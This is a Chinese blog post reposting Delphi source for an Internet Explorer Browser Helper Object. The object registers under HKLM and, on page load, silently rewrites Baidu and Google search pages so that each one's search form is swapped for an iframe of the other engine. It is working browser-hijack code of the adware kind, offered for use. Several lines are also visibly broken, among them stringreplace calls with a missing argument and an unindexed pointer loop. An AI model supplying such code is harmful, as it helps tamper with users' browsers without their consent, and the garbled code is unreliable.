编写BHO截获并替换百度谷歌搜索表单

作者在 2010-01-25 13:02:51 发布以下内容
 
收集黑客防线的。不算盗版吧》=《  呵呵
以下是具体的代码,我搜集的!有点难度的···
BHO的定义:是微软推出的作为浏览器对第三方程序员开放交互接口的业界标准,通过简单的代码就可以进入浏览器领域的‘交互接口’,对象依托于浏览器的主窗口,可以在这些事件的响应中实现与浏览器的交互,这样,对象会在与浏览器相同的上下文中运行,并能对可用的窗口和模块执行任何行动!

UIEvisit 单元--------------------------
unit UIEVisit;
{$WARN SYMBOL_PLATFORM OFF}
interface
uses
  Windows, ActiveX, Classes, ComObj, SHDOCVW, Dialogs, SysUtils, Registry, idhttp, MSHTML;
type
  TIEVisitFactory = class(TComObjectFactory)
  private
    procedure AddKeys;
    procedure RemoveKeys;
  public
    procedure UpdateRegistry(register: Boolean); override;
  end;
  TIEVisit = class(TComObject, IDispatch, IObjectWithSite)
  public
    //IDispatch接口方法定义
    function GetTypeInfoCount(out Count: Integer): HResult; stdcall;
    function GetTypeInfo(Index, LocaleID: Integer; out TypeInfo): HResult; stdcall;
    function GetIDsOfNames(const IID: TGUID; Names: Pointer; NameCount, LocaleID: Integer; DispIDs: Pointer): HResult; stdcall;
    //IObjectWithSite接口方法定义
    function SetSite(const pUnkSite: IUnknown): HResult; stdcall;
    function GetSite(const riid: TIID; out site: IUnknown): HResult; stdcall;
    function Invoke(DispID: Integer; const IID: TGUID; LocaleID: Integer;
      Flags: Word; var Params; VarResult, ExcepInfo, ArgErr: Pointer): HResult; stdcall;
  private
    IEThis: IWebBrowser2;
    Cookie: Integer;
     //事件处理过程
    procedure DoOnQuit;
    procedure BuildPositionalDispIDs(pDispIDs: PDispIDList; const dps: TDispParams);
    procedure DoDocumentComplete(const pDisp: IDispatch; var url: OleVariant);
    procedure ConvertHtml(AKeyWord, AWeb: WideString; var ABody: WideString);
  protected
  end;
const
  Class_IEVisit: TGUID = '{0E694E55-F022-4ED3-9EB9-1FADA33E5036}';
implementation
uses ComServ;
function TIEVisit.GetTypeInfo(Index, LocaleID: Integer; out TypeInfo): HResult;
begin
  Result := E_NOTIMPL;
  Pointer(TypeInfo) := nil;
end;
function TIEVisit.GetTypeInfoCount(out Count: Integer): HResult;
begin
  Result := E_NOTIMPL;
  Count := 0;
end;
function TIEVisit.GetIDsOfNames(const IID: TGUID; Names: Pointer;
  NameCount, LocaleID: Integer; DispIDs: Pointer): HResult;
begin
  Result := E_NOTIMPL;
end;
function TIEVisit.GetSite(const riid: TIID; out site: IUnknown): HResult;
begin
  if (Assigned(IEThis)) then
    Result := IEThis.QueryInterface(riid, site)
  else Result := E_FAIL;
end;
function TIEVisit.SetSite(const pUnkSite: IUnknown): HResult;
var
  cmdTarget: IOleCommandTarget;
  Sp: IServiceProvider;
  CPC: IConnectionPointContainer;
  CP: IConnectionPoint;
begin
  //ShowMessage('执行了SetSite事件!');
  if (Assigned(pUnkSite)) then
  begin
    cmdTarget := (pUnkSite as IOleCommandTarget);
    Sp := (cmdTarget as IServiceProvider);
    if (Assigned(Sp)) then //获得IE的WebBrowser接口,
      Sp.QueryService(IWebBrowserApp, IWebBrowser2, IEThis);
    if (Assigned(IEThis)) then
    begin
      IEThis.QueryInterface(IConnectionPointContainer, CPC); //寻找连接点
      CPC.FindConnectionPoint(DWEBBrowserEvents2, CP);
      CP.Advise(Self, Cookie); //通过Advise方法建立Com自身与连接点的连接
    end;
  end;
  Result := S_OK;
end;
procedure TIEVisit.DoOnQuit;
begin
end;
procedure TIEVisit.BuildPositionalDispIDs(pDispIDs: PDispIDList; const dps: TDispParams);
var
  i: Integer;
begin
  Assert(pDispIDs <> nil);
  for i := 0 to dps.cArgs - 1 do
    pDispIDs^ := dps.cArgs - 1 - i;
  if (dps.cNamedArgs <= 0) then
    Exit;
  for i := 0 to dps.cNamedArgs - 1 do
    pDispIDs^[dps.rgdispidNamedArgs^] := i;
end;
function TIEVisit.Invoke(DispID: Integer; const IID: TGUID; LocaleID: Integer;
  Flags: Word; var Params; VarResult, ExcepInfo, ArgErr: Pointer): HResult;
type
  POleVariant = ^OleVariant;
var
  dps: TDispParams absolute Params;
  bHasParams: Boolean;
  pDispIDs: PDispIDList;
  iDispIDsSize: Integer;
begin
  Result := DISP_E_MEMBERNOTFOUND;
  pDispIDs := nil;
  iDispIDsSize := 0;
  bHasParams := (dps.cArgs > 0);
  if (bHasParams) then
  begin
    iDispIDsSize := dps.cArgs * SizeOf(TDispID);
    GetMem(pDispIDs, iDispIDsSize);
  end;
  try
    if (bHasParams) then BuildPositionalDispIDs(pDispIDs, dps);
    case DispID of
      253: begin //OnQuit事件的id
          DoOnQuit();
          Result := S_OK;
        end;
      259:
        begin
          DoDocumentComplete(IDispatch(dps.rgvarg^[pDispIDs^[0]].dispVal), POleVariant(dps.rgvarg^[pDispIDs^[1]].pvarVal)^);
          Result := S_OK;
        end;
    end; //end of case DispID of
  finally
    if (bHasParams) then
      FreeMem(pDispIDs, iDispIDsSize);
  end;
end;
procedure TIEVisit.ConvertHtml(AKeyWord, AWeb: WideString; var ABody: WideString);
var
  strFlagBaidu: string;
  conIFrameHTMLBaidu: string;
  procedure DebugABody; //调试用函数
  var
    lst: TStringlist;
  begin
    lst := TStringlist.Create;
    lst.Text := ABody;
    lst.SaveToFile('d:\aaa.txt');
    lst.Free;
  end;
begin
  //替换百度页面的表单
  if pos('www.baidu.com', AWeb) <> 0 then
  begin
    //百度表单的字符串
    strFlagBaidu := '<FORM name=f action=/s><SPAN id=in><INPUT id=kw maxLength=100 size=42 name=wd></SPAN>'
      + ' <INPUT id=sb type=submit value=百度一下>' + #13#10
      + '<DIV onselectstart="return false" id=sug></DIV><SPAN id=hp><A href="/search/jiqiao.html">帮助</A><BR><A href="/gaoji/advanced.html">高级</A></SPAN></FORM>';
    //替换内容
    conIFrameHTMLBaidu := '<iframe id="fff" marginwidth="0" marginheight="0" scrolling="no" '
      + '  framespacing="0" vspace="0" hspace="0" frameborder="0" width="650" height="180" align="center"'
      + '   src="@URL"> </iframe><br><br> ';
    conIFrameHTMLBaidu := stringreplace(conIFrameHTMLBaidu, , 'http://www.google.com', [rfReplaceAll]);
    ABody := stringreplace(ABody, strFlagBaidu, conIFrameHTMLBaidu, [rfReplaceAll]);
  end;
  
  //替换谷歌页面的表单
  if (pos('www.google.cn', AWeb) <> 0) or (pos('google.cn', AWeb) <> 0)
    or (pos('www.google.com', AWeb) <> 0) or (pos('google.com', AWeb) <> 0)
    or (pos('www.g.cn', AWeb) <> 0) or (pos('g.cn', AWeb) <> 0) then
  begin
    //谷歌表单的字符串
    strFlagBaidu := '<FORM name=f action=/search>' + #13#10
      + '<TABLE cellSpacing=0 cellPadding=0>' + #13#10
      + '<TBODY>' + #13#10
      + '<TR vAlign=top>' + #13#10
      + '<TD width="25%"> </TD>' + #13#10
      + '<TD noWrap align=middle><INPUT type=hidden value=zh-CN name=hl><INPUT title="Google 搜索" '
      + 'maxLength=2048 size=55 name=q autocomplete="off"><BR><INPUT type=submit value="Google 搜索" '
      + 'name=btnG><INPUT type=submit value= 手气不错  name=btnI></TD>' + #13#10
      + '<TD noWrap width="25%"><FONT size=-1>  <A href="/advanced_search?hl=zh-CN">高级搜索'
      + '</A><BR>  <A href="/preferences?hl=zh-CN">使用偏好</A><BR>  '
      + '<A href="/language_tools?hl=zh-CN">语言工具</A></FONT></TD></TR>' + #13#10
      + '<TR>' + #13#10
      + '<TD align=middle colSpan=3><FONT size=-1><SPAN style="TEXT-ALIGN: left"><INPUT id=all type=radio '
      + 'CHECKED value="" name=meta><LABEL for=all>所有网页  </LABEL><INPUT id=ch type=radio '
      + 'value=lr=lang_zh-CN|lang_zh-TW name=meta><LABEL for=ch>中文网页  </LABEL><INPUT id=lgr '
      + 'type=radio value=lr=lang_zh-CN name=meta><LABEL for=lgr>简体中文网页  </LABEL>'
      + '<INPUT id=cty type=radio value=cr=countryCN name=meta><LABEL for=cty>中国的网页  </LABEL></SPAN>'
      + '</FONT></TD></TR></TBODY></TABLE>' + #13#10
      + '<DIV id=tb></DIV></FORM>';
    //替换内容
    conIFrameHTMLBaidu := '<iframe id="fff" marginwidth="0" marginheight="0" scrolling="no" '
      + '  framespacing="0" vspace="0" hspace="0" frameborder="0" width="650" height="190" '
      + '   src="@URL"> </iframe><br><br> ';
    conIFrameHTMLBaidu := stringreplace(conIFrameHTMLBaidu, , 'http://www.baidu.com', [rfReplaceAll]);
    ABody := stringreplace(ABody, strFlagBaidu, conIFrameHTMLBaidu, [rfReplaceAll]);
  end;
end;
procedure TIEVisit.DoDocumentComplete(const pDisp: IDispatch; var url: OleVariant);
var
  doc, docMain: IHTMLdocument2;
  strKeyWord, strWeb, strBody: WideString;
begin
  try
    docMain := IEThis.Document as IHTMLdocument2;
    doc := (pDisp as IWebBrowser2).Document as IHTMLdocument2;
    if docMain <> doc then Exit;
    strKeyWord := copy(doc.title, 1, Length(doc.title) - 12);
    strWeb := url;
    strBody := doc.body.innerHTML;
    //这里开始处理
    ConvertHtml(strKeyWord, strWeb, strBody);
    //结束处理
    doc.body.innerHTML := strBody;
  except
  end;
end;
procedure TIEVisitFactory.AddKeys;
var S: string;
begin
  S := GUIDToString(Class_IEVisit);
  with TRegistry.Create do
  try
    RootKey := HKEY_LOCAL_MACHINE;
    if OpenKey('Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\' + S, TRUE)
      then CloseKey;
  finally
    Free;
  end;
end;
procedure TIEVisitFactory.RemoveKeys;
var S: string;
begin
  S := GUIDToString(Class_IEVisit);
  with TRegistry.Create do
  try
    RootKey := HKEY_LOCAL_MACHINE;
    DeleteKey('Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\' + S);
  finally
    Free;
  end;
end;
procedure TIEVisitFactory.UpdateRegistry(register: Boolean);
begin
  inherited UpdateRegistry(register);
  if register then AddKeys else RemoveKeys;
end;
initialization
  TIEVisitFactory.Create(ComServer, TIEVisit, Class_IEVisit,
    '替换百度谷歌表单', '', ciMultiInstance, tmApartment);
end.

下面是 DIEvisit-TLB.pas  单元---------------------------------

unit DIEVisit_TLB;
// ************************************************************************ //
// WARNING                                                                    
// -------                                                                    
// The types declared in this file were generated from data read from a      
// Type Library. If this type library is explicitly or indirectly (via        
// another type library referring to this type library) re-imported, or the  
// 'Refresh' command of the Type Library Editor activated while editing the  
// Type Library, the contents of this file will be regenerated and all        
// manual modifications will be lost.                                        
// ************************************************************************ //
// PASTLWTR : 1.2
// File generated on 2008-12-16 15:51:15 from Type Library described below.
// ************************************************************************  //
// Type Lib: D:\tools\工作文章\2008投稿\利用BHO替换百度\DIEVisit.tlb (1)
// LIBID: {3692E756-CD2F-4947-AE4A-660C141088EC}
// LCID: 0
// Helpfile:
// HelpString: DIEVisit Library
// DepndLst:
//   (1) v2.0 stdole, (C:\WINDOWS\system32\stdole2.tlb)
// ************************************************************************ //
{$TYPEDADDRESS OFF} // Unit must be compiled without type-checked pointers.
{$WARN SYMBOL_PLATFORM OFF}
{$WRITEABLECONST ON}
{$VARPROPSETTER ON}
interface
uses Windows, ActiveX, Classes, Graphics, StdVCL, Variants;
  
// *********************************************************************//
// GUIDS declared in the TypeLibrary. Following prefixes are used:        
//   Type Libraries     : LIBID_xxxx                                      
//   CoClasses          : CLASS_xxxx                                      
//   DISPInterfaces     : DIID_xxxx                                      
//   Non-DISP interfaces: IID_xxxx                                        
// *********************************************************************//
const
  // TypeLibrary Major and minor versions
  DIEVisitMajorVersion = 1;
  DIEVisitMinorVersion = 0;
  LIBID_DIEVisit: TGUID = '{3692E756-CD2F-4947-AE4A-660C141088EC}';

implementation
uses ComObj;
end.

下面是 DIEvisit的具体代码---------------------------------------------
library DIEVisit;
uses
  ComServ,
  UIEVisit in 'UIEVisit.pas',
  DIEVisit_TLB in 'DIEVisit_TLB.pas';
exports
  DllGetClassObject,
  DllCanUnloadNow,
  DllRegisterServer,
  DllUnregisterServer;
{$R *.TLB}
{$R *.RES}
begin
end.

编程点滴 | 阅读 3641 次
文章评论,共0条
游客请输入验证码
浏览2344445次